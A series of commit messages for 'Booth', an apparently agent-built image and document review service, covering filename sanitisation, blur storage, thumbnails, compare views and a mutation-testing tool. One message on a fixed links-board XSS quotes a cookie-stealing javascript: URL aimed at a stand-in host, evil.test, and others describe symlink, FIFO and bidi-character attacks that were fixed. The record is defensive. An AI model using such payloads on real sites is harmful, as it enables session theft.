Heid bug hunt, hulda, second round on 92c774e:
- A lone surrogate was dropped at the final decode, after the leading-dot
rule had already run, so "\ud800.forever" came out as .forever, the
keep marker, and "\ud800.." as "..". The NUL and every unencodable
character now go first, in one pass, so nothing dropped later can shield
a dot. Starlette decodes a multipart filename strictly (utf-8, else
latin-1), so this was not reachable over HTTP; the helper is now right by
construction regardless.
- A suffix too long to keep was cut like text, and the cut could land on a
shorter suffix that means something: "….png" out of "….pngxxxx…"
became an image. A cut that changes classify/doc_kind now has its dots
neutralised.
- The 16-byte extension threshold was unguarded (every test suffix was 4
bytes); a .jpeg case pins it.
Falsifiers: tests/mutations/upload_names.toml, 7/7 proved. Not taken here,
as they sit in the upload route rather than this helper: the pickup-id
mkdir outside the try (a FileExistsError race), rmtree(ignore_errors)
hiding a failed cleanup, and a CancelledError skipping cleanup.
safe_upload_name let two names through that the filesystem cannot hold,
and each raised at open(): a 500 with the booth torn down. A NUL raised
ValueError, and a 200-character cap let 200 two-byte characters overrun
NAME_MAX (255 bytes, ENAMETOOLONG). The NUL is now removed first, so it
cannot shield a leading dot from the hide rule. The cap is 200 UTF-8
bytes, cut on a character boundary, and it comes out of the stem: the
extension is what classify reads, so a name that used to fit (80 CJK
characters) keeps its kind.
The NUL test posts a raw multipart body: httpx percent-escapes a NUL in
files=, so the server would see a literal %00 and the test would prove
nothing. Falsifiers in tests/mutations/upload_names.toml, 4/4 proved.
Found by design-dev's r3 heid bug hunt (hulda).
Compare's stages load their pictures through the catch-all file route, which
caught only OSError around resolve(); an embedded NUL raises ValueError. Same
class as resolve_booth's fix in f8d136a (heid bug hunt on the race fix,
hulda). The upload route's NUL-in-filename 500 is the same class and is left
to booth-dev: it is not on compare's path.
booth-dev's race note after the merge: the compare route resolved each side
in _compare_side and again in _compare_ring, then ring.index(a) raised if the
file vanished (or was relinked outside the booth) between the two; the review
did the same through cring.index(f). The compare ring is now built once and
the sides are judged by membership of it. The review re-judges its item and
scans forward for the next comparable one (usually one step, no longer a
resolve of the whole ring per render); an item no longer comparable renders
the review without a Compare control, and C does nothing.
The contract records the once-per-request rule and that the phone-width wrap
covers doc.html's bar too. r3.toml: 59 rows, four re-anchored.
Navigation was built from the review ring while the compare GET also demands
containment, so an outside symlink (which stays in the ring) was offered by
the strip, the steps, the review's Compare control and the flag landing, and
404ed on arrival. Every one is now built from the compare ring (the review
ring filtered by the same conjunction, _in_booth).
Two pre-existing gaps compare inherits, fixed at the source: resolve_booth
caught only OSError, so a NUL in the booth segment was a 500; record_view
opened its marker blocking, so a planted FIFO hung every look. Plus: the page
treats %73ide=a as side=a, and the subgrid engine floor is stated. Two
findings refuted (a chorded click mid-drag never fires pointerup, measured;
booth_items never yields an unquotable rel). r3.toml: 57 rows.
The one drift: the separator was a border on B, making B's stage 1px
narrower than A's; it is now a 1px column gap, so the stages are the same
size to the pixel. Tests now read what the contract promises instead of a
proxy: the strip's ring order, the full bakeoff sequence, 1:1 and Fit by
geometry, the 900px break from both sides, A wrapping, each form naming its
own item, a sibling-prefix symlink, both reveals, the strip's flag, the back
arrow unlinked, a one-axis picture, a focused player, two videos with no
toggle. The contract names .cmp-cap, a press on a stage, INV-4's URL-driven
picker and the redirect branch's isinstance check. r3.toml gains ten rows.
GET /b/{name}/compare with the conjunction 404 (containment AND the review
ring), both sides recorded as seen, view state (side, link) mapped from a
closed set onto every link, side-keyed regions, and back=compare in
_mark_redirect. compare.html: two stages sharing one set of rows, the strip
as picker (the side active now), linked and per-side stepping, X/L/Z/A/B/C
keys under the review's guards, synced pan by fraction with an echo guard,
per-side blur reveals, JS-off parity.
The stage machinery moves out of view.html into _stage_js.html
(BoothMode.bind, BoothStage.attach), shared by the review and compare. The
review gains a Compare control and a C key. At phone width a full top bar
wraps.
Tables: r2c's 15 stage rows re-pointed to _stage_js.html; r2b's phone
top-bar row re-anchored (the wrap made it vacuous alone); new r3.toml. The
contract records the wrap, equal stages and C on the compare page.
groa's late retry on the blur bug-hunt, adjudicated against the landed code.
Its four bugs were already fixed, but a robustness note (mkstemp's 0600 locks
out a reader under another uid, which then "sees nothing and replaces it")
pointed at a real gap. set_blurred built on read_blurred, the renderer's
lenient reader, which turns an unreadable, oversized or malformed
`.blurred.json` into an empty set. The writer then replaced the file, and
whatever it held was gone. This is the `.marks.json` wipe of 2026-09-21 in a
new module, and it shipped for a night.
- `_load` is the one parse with two postures. read_blurred maps its refusal to
"nothing blurred" (a damaged file costs the blur, never the page).
set_blurred lets it raise BlurUnwritable, which the route answers with 409
and the CLI with exit 3, and changes nothing.
- It refuses only for a REGULAR file it cannot read. A link, a directory or a
FIFO at either name holds no set anyone wrote, so it reads as empty, and the
postcondition judges whether the write can land: a link is replaced, a
directory refused.
- The file is 0644 again, as the line-format writer left it (fchmod after
mkstemp).
The open flags in `_read_capped` became a second layer behind the new lstat
check, and the mutation run caught their rows VACUOUS through the public API.
They are now held to account by direct tests, because they still close the
lstat-to-open race. blur_storage.toml: 25/25. No second panel was run: this
folds one reviewer note plus the repo's own recorded lesson, with a test and
a proved row for each behaviour.
- 1:1 start-aligns. The centred flex item overflowed both sides and the
start was unreachable; measured, a 3000px picture hid its leftmost
980px. Auto margins still centre a small picture.
- Drag lifecycle: a move with no button ends the drag, so a press
released outside the stage never pans on a later hover. Capture is now
load-bearing in a test. The threshold is 4px of total movement.
- A press on the stage's own scrollbar is never a pan. The arrows clamp
to the stage's client box, so they are never under a classic
scrollbar. The test runs a browser without --hide-scrollbars and
asserts the gutter exists.
- Stacked, the arrows' CSS spot is the stage's centre (30vh), set in
view.html because base.html lost to the page's later rule.
- The stage reveal is `hidden` until bound, and keeps Fit's drop shadow
when revealed. A blurred picture composes blur() drop-shadow().
- The mode follows another tab. A failed or unknown size returns the
arrows to their CSS spot.
- Tests: object-position, vertical centring, the Fit half of
aria-pressed, a storage read that throws, a large picture's toggle,
Fit forgetting 1:1, single-axis pan.
- Declared: the r2b reveal test reads "no blur" (the shadow stays), and
the r2_flow 360px-offset row is retired.
Mutation tables 137/137 across four. 810 passed.
The operator: "fit and 1:1 modes as well as moving the forward and back
arrows closer to the edge of the image ... mouse click and pan for 1:1
mode if it exceeds page width (defeat drag drop of image)". Ruled: "Fit
may enlarge."
- Fit: the picture's box is the stage's inner box, and object-fit: contain
draws it whole at the largest size that fits, up or down, never
cropped. It works with or without JS. 1:1 is natural pixels.
- The Fit | 1:1 toggle shows for every picture; the per-picture hide is
gone. It stays hidden without JS.
- The mode persists as `stage-one` on <html>, set by the head script
before the stage exists, so a 1:1 reel never paints a stage in Fit.
Anything stored but "one" reads as Fit. Storage never raises.
- The arrows sit wholly outside the DRAWN picture (near edge 8px),
clamped 8px inside the stage. They sit over the picture only when it
spans the stage, and never over the rail. They are re-placed on load,
resize, mode switch and 1:1 scroll, and keep their CSS spot until the
drawn box is known.
- 1:1 drag-to-pan when the picture overflows either axis: the picture
follows the pointer, a 4px threshold, pointer capture, grab/grabbing.
The picture is draggable=false. The stage's reveal button moves out of
the scrolled content to sit over the stage (a pan carried it off), so
no control is a pan source.
Contract docs/contracts/r2c_review_stage.contract.md (heid contract
panel 4/4 folded; it changed the no-flash mechanism). Declared test
changes: the Nyx stage-edge arrow test is replaced; the stage class and
the toggle's `hidden` are updated. tests/mutations/r2c.toml 16/16. 803
passed.
Operator-approved 2026-09-23 ("fix it, one bigger thumbnail"), after his
report that sindra-nude-final looked "blurry until selected". c2b1454 sizes
thumbnails at 768 wide (the widest desktop tile, doubled for a 2x screen) and
caps them at 4096 tall. A browser test holds the number against the rendered
grid. c19d8c9 folds the heid bug-hunt (4/4 arms, five seat-executed probes):
cache hits must be regular files carrying the source's exact mtime, the cache
dirs never follow a link, the temp file is mkstemp, palette alpha and EXIF
orientation survive, and there is a 64 MP decode budget. 828 passed on the
branch; thumbs.toml 14/14.
Operator-ruled 2026-09-23 ("fix the blur"). 4cfbce5 is the fix: a JSON-array
blur set through stdlib-only booth/blur.py, shared by the service and `booth
blur`, plus Item.blurred_self so blur state has one reader. c1f5543 folds the
heid bug-hunt on it (hulda, regin, kimi). The format moves to its own name,
.blurred.json, because sniffing one file for two formats recreated the
wrong-item bug. The writer is judged by its reader, so a planted directory is
a 409 and not a 500. A lone surrogate is dropped, the writer respects the
reader's size cap, and the route and the CLI share one check_rel predicate.
853 passed on the branch; blur_storage.toml 20/20.
The heid bug-hunt panel on c2b1454 (4/4 arms, five seat-executed probes). The
new size rules governed only cache MISSES; the hit path trusted a name and an
mtime, inside a directory any fleet session can write into.
- A cache hit is a REGULAR file (lstat) carrying its source's EXACT mtime (4/4).
A planted directory at the cache path was returned as the thumbnail, and a
source replaced by `cp -p` or an archive extract kept an older stamp that
`>=` served forever. The encoder now stamps the thumbnail with the source's
mtime, so any change to the source is a miss.
- The cache directories are made component by component and never through a
link (seat P4). A `.thumbs` planted as a link put the cache outside the
booth, beyond the sweep. The booth-mtime restore now keys on creating
`.thumbs` itself.
- The temp file is mkstemp (4/4, seat P5). The old `<out>.<pid>.tmp` was
predictable, and a link planted there made the encoder overwrite its target
(600 B became 316,400 B).
- Palette transparency survives (3/4, seat-executed, and INTRODUCED by
c2b1454). The fits-but-heavy branch newly re-encoded palette PNGs, and
getbands() of mode P has no A even with tRNS.
- EXIF orientation is honoured for sizing and for the saved image (groa,
seat-verified). A camera portrait stored sideways was sized and tiled as a
landscape.
- A 64 MP decode budget (2/4). A header claims any size, and a failure is not
cached, so every request re-decoded it.
- The cache name carries the whole rule: width, height cap, quality and an
encoding version (groa). The width alone would have served stale bytes after
a quality change.
Declined: the utime-restore failing on a foreign-owned booth (booths are the
service user's), and regin's two solos (the THUMB_MAX export is not imported
anywhere; the live fixture is function-scoped). thumbs.toml: 14/14 proved.
The heid bug-hunt panel on 4cfbce5 (hulda, regin, kimi; groa timed out) found
four real defects in the round-trip fix, and three of its arms converged on the
worst: it re-created the bug it existed to fix.
- Two names, never a sniffed file (3/3). JSON went into the OLD `.blurred`, and
the reader guessed the format from the bytes, so a legacy file whose one line
is an item named `["a.png"]` read as {"a.png"} and blurred the neighbour. The
set now lives in `.blurred.json`, JSON only. The legacy `.blurred` is read as
lines only, and only while `.blurred.json` is absent; the first write retires
it, after the new file is in place.
- A planted directory is a 409, not a 500 (2/3 plus a third angle, executed by
the seat). The reader was hardened against it and the writer was not:
os.replace and unlink raised IsADirectoryError through the route. Now the
writer is judged by its reader: set_blurred re-reads after writing and raises
BlurUnwritable unless the set on disk is the set asked for. That one check
covers a directory at either name, a permission and a race.
- A lone surrogate is dropped on read (hulda, executed). `"\ud800"` is a valid
JSON string that no filename can produce, and the UTF-8 encode raised on it
at every later write.
- The writer respects the reader's size cap (2/3). Nothing capped the write,
and the reader reads an oversized file as EMPTY, which reveals everything.
- One predicate, check_rel, for the route and the CLI (2/3). The CLI's `*..*`
substring guard refused `a..b.png`, which the route accepts. It also refuses
an empty path now (regin, kimi), and every item is checked before any is
written.
- `booth blur` fails closed, with a message and exit 3, when its package is
missing (kimi), as `link` already does.
Declined, with reasons: the Item positional-constructor break (booth_items is
the only constructor, INV-1), the fdopen fd leak and the short read (not
constructible on a local filesystem, and the `.seen` shape), and
unreadable-reads-as-revealed (blur is cosmetic; the `.seen` posture).
blur_storage.toml: 20/20 proved. One row came back VACUOUS on its first run,
because `set() or X` is X, and was rewritten before counting.
The operator, on the live Desk: "how is this last activity first?" It was not,
usefully. The section sorted by `_newest_mtime`, which counts a look (`.viewed`),
so opening a booth moved it up. Tonight two post-deploy checks fetched every
booth page within half a second, which recorded 22 looks at once and collapsed
the section into reverse name order through the (mtime, name) tie-break.
Meanwhile each row shows "updated X ago", which is `landed_at`, a different
clock from the one the list was sorted by.
Operator ruling: "last activity can just be last time the booth was updated,
not necessarily operator's last activity." The section now sorts by
`(-landed_at, name)`, the date the row shows, labelled "last updated first".
Looking, flagging and blurring no longer move a booth. `list_booths` keeps its
own order for its other readers, and `_newest_mtime` still feeds lifetime.
The r2_flow contract (§3, the ordering table, INV-5) and ROADMAP's ordering row
are amended to match. Two tests and two r2_flow.toml rows cover it (25/25).
The operator on sindra-nude-final: "the images look blurry until they're
selected and blown up." The cap was 512px on the LONGEST side, which the
comment called "comfortably above any tile size", and it was, for a square. A
gallery tile is sized by its WIDTH, though, and a 704x1408 portrait got 256px
of width for a tile Chromium renders at 361 CSS px. That is 1.4x stretched at
1x density and 2.8x on a 2x screen. The review stage serves the original,
which is why it looked sharp once opened.
- THUMB_WIDTH = 768: the widest desktop tile (3 columns, 1440px and up,
measured at 321-361 CSS px across viewports) doubled for a 2x screen.
THUMB_HEIGHT_MAX = 4096 stops a long screenshot going through at full height.
- An original that fits the bounds is served as-is only when it is also light
(<= 64 KB; 768-wide thumbnails average 39 KB over the 381 live images) or
animated, since a thumbnail is one frame. Fitting a tile in pixels is not
being cheap in bytes: these portraits are ~1.1 MB PNGs.
- The size rule is in the cache name (`<rel>.768w.webp`). The live 512-cap
thumbnails are newer than their sources, so the mtime check alone would have
served them forever. The old files are orphans, swept with their booth.
- tests/test_thumbs_browser.py holds THUMB_WIDTH against the rendered grid at
1440, 1920 and 2560. The constant is a layout number, and a redesign that
widens the tiles turns it red instead of soft.
Measured cost, all 381 live images: 4.8 MB -> 14.2 MB of thumbnails, still ~27x
under the 386 MB of originals. Known limit: the 2-column (<=472px) and 1-column
(<=650px) reflows are softer than 768 covers at 2x. tests/mutations/thumbs.toml
proves 7 falsifiers.
The heid bug-hunt on r2b merge 1 found the /blur route stripping `f` before
writing, so the form for " a.png" blurred its neighbour "a.png". The route was
only half of it: `.blurred` was one stripped rel per line, so no writer could
store a rel with a leading space or a newline, whatever the route did.
Operator-ruled 2026-09-23 ("fix the blur").
- booth/blur.py (new, stdlib-only): read_blurred / set_blurred / BLUR_FILE.
`.blurred` is now a JSON array in sorted order, the `.seen` shape: opened
O_NOFOLLOW | O_NONBLOCK with an S_ISREG check and a 1 MiB cap, so a planted
symlink is refused and a FIFO can no longer hang every Desk render (the old
read_text() blocked on one). Writes go through mkstemp + os.replace. The
legacy line format is still READ, so the 6 live line-format files keep their
blur until their next write upgrades them. Measured before the change: 42
live rels, none with edge whitespace, so the defect had no live victims.
- The route no longer strips `f`.
- scripts/booth `blur`/`unblur` go through booth.blur.set_blurred instead of
their own grep/printf line writer. Two writers of one format is how the
formats drift, and after this change the shell writer would have appended a
line to a JSON array. Every path is checked before anything is written.
- Item.blurred_self (appended to the record): the item's own blur, resolved in
booth_items from the same read as `blurred`. It replaces build_gallery's
second read_blurred, which a write between the two reads could split
(invariant 3). app.py no longer reads blur state at all, and a test asserts
it.
Names stay importable from booth.app and booth.items (invariant 4). blur joins
test_stdlib_only. test_cli's per-item-survives test now reads through the reader
rather than asserting the old byte format. The r2b contract and its mutation
row follow blurred_self onto the record. tests/mutations/blur_storage.toml
proves 12 falsifiers by running the change each forbids.
Not in this change, and still ours: the "off"-means-ON idiom drift between
/blur, /blurbooth and /flag (forms only ever send 0/1), and the CLI's
`.blurbooth` touch following a symlink where the service no longer does.
The bug hunt (4/4) and code review (4/4) were both clean on mechanism.
Their shared catch was the one-sided minute check.
Dates:
- The date filters never raise. One clock outside the calendar's range
500'd the Desk for every booth, because every row renders in one
response. An unrenderable date now renders nothing.
- "Updated" shows whenever it differs from "created" by a minute or more,
either way. Copied content is often older than its folder.
- A clock ahead of now shows its date, never "just now".
- A day is 24h ("1d ago" never appeared).
The row:
- The controls are last in the markup, so the booth's name comes first in
tab order and wipe last. The cluster is placed over the strip from the
row's box.
The theme:
- A choice made in one tab moves the Booth's other open tabs.
- The theme mark goes only on ask fragments the embed mounted.
Tests, strengthened after the code review:
- the pill is visible at rest;
- keyboard focus reveals the controls;
- the controls act with scripts off;
- Reveal all reaches the doc page;
- the high-contrast check reads tokens that actually differ;
- the art-light extras are written from SVOS, not derived from the
copies;
- two overstated mutation rows are replaced (one was a runtime no-op, one
went red through a syntax error).
Contract amended.
r2b.toml 55/55 proved. 799 passed.
Operator rulings, 2026-09-23.
D1, the Desk row:
- Kept vs ephemeral reads at a glance: an always-visible lifetime pill in
the right column (sage ★ kept, amber held, ◷ counting down).
- The facts line is facts only.
- zip / keep|release / wipe are one cluster, with zip out of the middle.
Where a real hover exists it floats over the preview strip (covering
pictures, never information), appears on hover or keyboard focus, and
takes no room. Anywhere else (touch, any coarse pointer) it is the
row's last line, visible, with 32px controls. × hides too (the operator
answered yes).
D1b: "created 12 Sep" (filesystem birth time; nothing when unknown) and
"updated 5d ago" (the content clock), as <time> facts on the row and in
the booth header, from one macro and one clock per page.
D3, the theme toggle: System · Light · Dark in the top bar.
- Stored in localStorage and applied in <head> before any stylesheet.
- System removes data-theme, so the OS query follows the OS live, with
no listener.
- The token sheet is re-vendored at the same SVOS SHA with a scoping-only
transform (155 declarations, the same set, both directions), so forced
themes win over the OS and high contrast follows the theme in effect.
- The ask chrome inside verbatim pages follows the choice through
data-bk-theme on our own fragments, live across tabs. The host page's
<html> is never touched.
Declared test changes:
- two row tests replaced;
- the wipe-dialog test hovers first;
- four r2_flow rows retired, with successors in r2b.toml (45/45).
785 passed.
Every Booth page asks fonts.googleapis.com for its faces, and
wait_until="networkidle" waits for that request. A stalled request to
Google therefore held a page until goto's 30s timeout. That is the
failure the full-suite flake shows: Page.goto timeouts in tests far apart
within one run. A stalled font request reproduces it exactly.
Whether that was THE cause is not proven:
- 23 traced runs went green, against 1 red in 8 untraced;
- no trace captured the pending request.
A test that depends on Google being reachable is wrong regardless.
Both browser fixtures now launch Chromium with every hostname but
127.0.0.1 failing DNS at once. Pages fall back to the system font stacks
the tokens declare. Positive control in each file: an external host fails
with ERR_NAME_NOT_RESOLVED in under 3s, and a Booth page still goes idle.
Mutation-proved (r2b.toml 28/28). 776 passed.
Both panels ran 4/4 on 5ded5ff. They converged on the board and doc-page
gaps independently.
- A board holding files lost both blur controls (they sat inside the
board suppression meant for the one-click wipe), while its items'
"◉ booth" labels pointed at them. Only the wipe is board-suppressed now.
- A blurred doc's own full page rendered clear. Its body is blurred there
too, with its own reveal and a Reveal all to put the blur back.
- set_booth_blurred followed a planted .blurbooth symlink (`touch`), and
the new control made that a click away. Anything at the name already
reads as fogged; otherwise it is created O_CREAT|O_EXCL|O_NOFOLLOW.
- The fog landing echoed `back` unchecked into the 303. It is now built
from the review ring, as the mark routes do.
- The fog form is its own region, so an in-place save refreshes its
label. Reveal all stays outside every region: its state lives in the
tab.
- The review's Space-to-advance no longer swallows Space on a focused
button or link.
- Top-bar controls stay on one line at phone width.
- Tests tightened:
- method="post" on the fog forms;
- exact blur values;
- a storage READ that throws;
- an item's own reveal carried across a swap;
- reveal gated where it can act.
r2b.toml: 26/26 proved. 774 passed.
The operator ruled blur A, and made it urgent: "per booth blurring is now
important since we are showing up to 4 images."
- Reveal all: one control per booth, in the booth header and the review's
top bar, outside every data-region. It is in the markup only when
something is blurred, always `hidden` until the script shows it.
- The state is sessionStorage per booth, per tab, and nothing reaches
the server. It is carried as one `reveal-all` class on <html>, applied
before first paint from the page's own data-booth, so booth A's reveal
cannot follow you into booth B and the index is never revealed.
- Per-item reveal buttons stand down by stylesheet, and an item's own
reveal is never touched, so "blur again" restores each item as it was.
- A storage write that throws still applies the click.
- The booth blur control: a plain form to booth-dev's POST /blurbooth, so
it works with scripts off. Its label follows is_booth_blurred; from the
review it carries `back` and lands on the same item. A fogged booth's
Desk row says "◉ blurred".
- Found by rendering it: under a fogged booth every item reported
`blurred`, so an item blurred only by the booth offered an un-blur that
visibly did nothing. The gallery now carries `blurred_self`, and such an
item shows "◉ booth", a label rather than a control.
Contract docs/contracts/r2b_desk_reveal_theme.contract.md (heid contract
panel 4/4, folded). tests/mutations/r2b.toml: 14/14 proved. 765 passed.
The operator ruled booth-level blur in and chose reading A for the reveal
("A is fine"). design-dev specced the semantics and owns the controls; this is
the storage half.
COMPOSES, NEVER OVERRIDES. An item is blurred iff the booth is blurred OR it is
in .blurred, so turning booth blur off leaves an agent's per-item choice exactly
as the poster left it. An override would need a per-item "unblurred" exception
list, which is state nobody can see.
Resolved in booth_items, so every surface inherits it for free — Desk strip,
tiles, flag tray, filmstrip, stage all already read Item.blurred and none of
them learns the booth flag exists (INV-1). Images and video only; audio has
nothing to hide from a glance.
A MARKER, deliberately not JSON. `.seen` is JSON because it holds rels that must
round-trip exactly; a boolean has nothing to round-trip, and matching `.forever`
means the two whole-booth flags read the same way. We told design-dev it would
be JSON and it should not be — said so rather than quietly shipping the other
thing.
is_booth_blurred mirrors is_kept's lstat shape WITH THE SAFETY INVERTED, and the
inversion is the point: is_kept fails toward keeping because a failed read must
not authorise a delete; this fails toward HIDING, because a failed read must not
reveal something a poster asked to fog. Both are "the failure does not cause the
loss".
Also records the operator's 2026-09-23 ruling that there is NO 1.0 yet, and adds
.blurbooth to CLAUDE.md's dotfile list. 766 green.
Found by design-dev, the same class as the wipe dialog he had just fixed on the
Desk, and reported across the fence rather than kept.
A board row's description and URL are written by any of seventeen agent handles
and were pasted RAW into the `confirm()` the operator reads before approving a
delete. A bidi override (U+202E) or a newline in either re-orders or hides what
he is consenting to, so the row shown is not the row removed.
Escaping does nothing here and that is the trap: autoescape protects the PAGE,
but `confirm` renders a plain string, so the markup defence everyone reaches for
first is irrelevant to the surface that actually carries the decision.
Control and bidi formatting characters now render as U+FFFD — visibly mangled,
never silently re-ordered — through the same helper shape design-dev used, so
the two dialogs cannot drift apart.
Both arguments go through it, and the mutation row defeats exactly that: taking
the raw description back for one of the two turns the test red. 763 green.
- Touch: on a coarse pointer every row control is at least 28px square
again (32px), and wipe stands clear of the zip link. The move onto the
facts line had dropped the deliberate 28px floor to ~21px, 4-6px from
zip; with scripts off no confirm fires, so a mis-tap on wipe is the
delete. The zip link no longer breaks between its glyph and its word,
and each separator is glued to the item after it.
- The wipe dialog shows the name as it should be read: control and bidi
formatting characters in an agent-made name show as U+FFFD, so U+202E
or a newline cannot rewrite what the operator approves. An unknown
data-confirm word now prompts generically instead of submitting
unguarded (fail closed).
- No page scrolls sideways: `code` wraps anywhere, so a long unbreakable
install path in the footer or the empty Desk no longer widens every
page. The overflow test now sweeps 390/720/850/1000/1400 with the
heaviest row the Desk draws, and compares scrollWidth with the page's
own clientWidth.
Its first fixture used a hyphenated path, which wrapped by itself; the
test passed with the bug present until the path became one unbreakable
run. r2_flow.toml: 27/27 proved. 749 passed.
Operator, on the live Desk: "release and x take up space whether or not
they're visible." They sat in a side column at opacity 0, which hides a
control and still reserves its box, and hover-only never worked on
touch.
Each control now sits on the facts line beside the state it changes:
release after "kept", keep after a countdown or hold, wipe last. They
are always visible and quiet, and wipe turns danger only under the
pointer or focus. The side column renders only when the row carries a
badge. The row is flex, so an absent column costs no gap. Forms, POST
targets and data-confirm wording are unchanged.
The flex row exposed a latent sizing bug: the stacked Desk column was a
bare 1fr, whose minimum is its content's, so a long nowrap provenance
line scrolled the page sideways at phone width (1029px at 390). It is
now minmax(0,1fr).
Both behaviours have browser tests, mutation-proved (r2_flow.toml:
21/21). Contract C4 amended.
tests/mutations/r2_flow.toml: 18 falsifiers, each proved RED under its
change by scripts/mutation_check.py (18/18). Its first run found three
vacuous proofs, now resolved:
- landed_at's per-entry skip: the symlink-loop fixture stopped raising
once the clock moved to lstat. New fixture: a folder that lists but
cannot be searched.
- the Desk's bench URL guard: the test covered bookmarks only. A
hand-edited registry bench now rides with it.
- flagged_targets' `error is None`: defence in depth (hydration already
strips a damaged mark's target), so no single-guard row; named in the
table header instead.
The rail's flagged filter and the orphan-flag list read flagged_targets
rather than restating it; no reachable behaviour changes.
A live injection vector on the standing board, found by design-dev in passing,
in code his unit does not touch. Seventeen handles append to links.md and the
operator clicks its rows, so
javascript:document.location='http://evil.test/'+document.cookie
was a clickable link executing in the Booth's own origin. //evil.test/x and
data:text/html,... rendered too.
links.py now derives is_safe_href once per row and the template links only when
it is true. A refused row still RENDERS, inert and labelled: the operator should
see that something was posted and that we would not link it.
THE NEAR-MISS IS WORTH THE COMMIT MESSAGE. We probed with javascript:alert(1),
watched it get refused, and almost closed this as already-guarded. It is refused
by the MARKDOWN LINK REGEX — alert(1)'s parens break ](...) — not by any guard.
An accident of syntax that happens to catch the one payload everybody reaches
for first. javascript:x=1 walks through. The docstring tells the next person not
to re-probe it with anything containing brackets.
Two things that look like the guard were in the way of finding there wasn't one:
that regex accident, and booth_target's http(s) check, which answers 'which
booth does this URL name' and therefore refuses every legitimate off-board link.
Reading the codebase for 'is there a scheme check' finds it and stops.
Derived in links.py rather than decided in the template, per the same
one-resolver discipline U1 states for item facts: a template that decides safety
is a second place for the rule to be wrong. urlsplit was already imported, so
the stdlib-only invariant holds; verified under system python3 3.11.2 with no
venv. 742 green, 21/21 falsifiers proved.
Cross-frontier panel (Gróa/Hulda/Regin/Kimi) on U7's diff, thread
01M368G2Y0JMTJ2T7M3JMTXV5Z. Four of the six fixes are for defects no test in
this repo could have caught, and the panel's guard-strength passes found five of
my own falsifiers green under the exact change they forbade.
THE 4-OF-4 FINDING — the group anchor could land on the WRONG artifact.
The anchor was the raw rel spliced into an href fragment while the tile id was
equally raw. A browser matches a fragment against ids RAW FIRST and only then
percent-decoded, so raw-on-both-sides is not merely unencoded, it is AMBIGUOUS:
with `a b.png` and `a%20b.png` in one booth, the first's href resolves to the
fragment `item-a%20b.png` and the raw pass matches the SECOND file's id. That is
the misfiled-judgment failure invariant 6 exists to prevent, arriving through a
path invariant 6 never looked at. Both sides now use `Item.url`
(`quote(rel, safe="/")`), which is injective here and is the convention
booth_flag has always used. The original test asserted the href occurred as SOME
id on the page — true while pointing at the wrong one.
GRÓA'S STRONGEST SOLO — a zero-hit filter removed the way back.
The rail was gated on the FILTERED list, so a valid filter with no matches
removed the rail, the filter links and the route back to `all`, while the
empty-booth branch announced the booth was empty with rail.total still holding
the real count. No recovery without editing the address bar, and it degraded the
same way with JavaScript off, on the surface the operator actually reviews on.
Gated on all_items now, with an explicit no-match row.
HULDA — one unrepresentable filename took out the INDEX, not just its booth.
A non-UTF-8 filename reaches CPython as a surrogate and quote() raises on it,
outside any per-item handler. booth_items feeds list_booths, so one 0xff byte in
one booth's filename 500s every booth's card. Such a file cannot be linked,
served or zipped, so it is skipped like a dotfile.
HULDA — the `f` shortcut has never worked. The selector named `.flagbtn`, which
nothing in this repo emits, so it fell through to the hidden target input;
clicking a hidden input does not submit its form, and the handler called
preventDefault anyway. Now clicks the flag form's real button, verified end to
end in a real browser.
GRÓA — a group jump was undone by the next keypress. The jump scrolls, the
cursor stayed at -1, and the next arrow focused tile 0 and scrolled back. The
cursor now picks up from the viewport, which also fixes the general
scroll-then-arrow case. Asserted on real scroll geometry in Chromium.
HULDA — the caption sidecar was read whole before being truncated, so a
pathological file was a MemoryError the OSError handler does not catch. Bounded
at the read, and deliberately NOT by st_size: a FIFO reports 0.
ACCEPTED KNOWN RISKS, both now documented rather than implied: no cap on rail
row count (1,000 groups of two would render 1,000 rows; the largest live booth
is 66 items and picking a cap without a booth that needs one is invented work),
and Item.group sits mid-dataclass (one construction site, keyword-only, grepped).
The docstring now names the UPPER median explicitly — two arms flagged that
"the middle group" admits both readings for an even count.
FIVE VACUOUS FALSIFIERS, found by the arms and not by me: the anchor test
survived v[0]->v[-1]; the informativeness guard survived sizes[-1]; the group
count survived len(v)+1; the zero-hit filter test used a fixture that HAD hits;
and the escaping test asserted over the whole page, so it went red on a code
comment. All rewritten, all mutation-proved. The table is up to 20 rows and one
drifted when I changed the line under it — reported by the harness, not silently
skipped, which is the behaviour tests/test_mutation_check.py exists to hold.
660 green; 20/20 proved. Deployed; 21/21 booths 200.
Held for design-dev, not fixed here: Gróa's finding that the sticky rail has no
scroll-margin, so a fragment jump tucks the target under it. It is one line in
base.html, the file he is rewriting from scratch.
Promotes the session-scratchpad harness that proved U7's twelve falsifiers into
a repo tool, on the operator's call. No version bump: test tooling and docs, no
production-code change, per the SemVer SKIP list.
A green test is not evidence. A test that has never seen its own defeating
change may pass under it too, forbidding nothing while reading as though it
forbids something. This repo shipped that three times — twice in one session,
and once an hour after writing the persistent-memory entry about it. Prose in a
memory file is not an instrument.
Tables live in tests/mutations/*.toml, one per unit, committed so a unit's
proofs are an artifact rather than terminal scrollback. Adding a unit means
adding a file, never editing the script. u7_navigation.toml was generated from
the harness that proved those twelve, not retyped, and every anchor was verified
against the source before it landed.
THE TOOL GETS ITS OWN POSITIVE AND NEGATIVE CONTROLS, which is the point. It
shipped two defects in one session, each of which made it report a falsifier
PROVED WITHOUT RUNNING IT, and both were found by accident rather than by
anything checking:
no green baseline — a test that is ALREADY red reports red for every mutation
thrown at it, so a broken assertion reads as a certified falsifier
the bytecode cache — `< 2` -> `< 1` is byte-identical in size, and CPython
validates a .pyc against the source's (mtime, size) at one-second granularity,
so a mutation landing in the same second as the revert before it runs against
cached bytecode; the tell was a verdict flipping between consecutive identical
runs
tests/test_mutation_check.py now carries a control for each, plus the one
usually skipped: a KNOWN-VACUOUS falsifier the tool must catch. An instrument
that only ever sees unknowns cannot tell "nothing wrong here" from "I am blind",
and twelve `proved` lines from a blind instrument are worth nothing.
Also hardens the tool against itself: it writes to tracked source files, so the
restore is verified rather than assumed, and a .mutation-inflight marker makes a
run killed mid-mutation refuse the next start instead of silently measuring a
mutated tree.
648 tests green; 12/12 U7 falsifiers still proved.
vh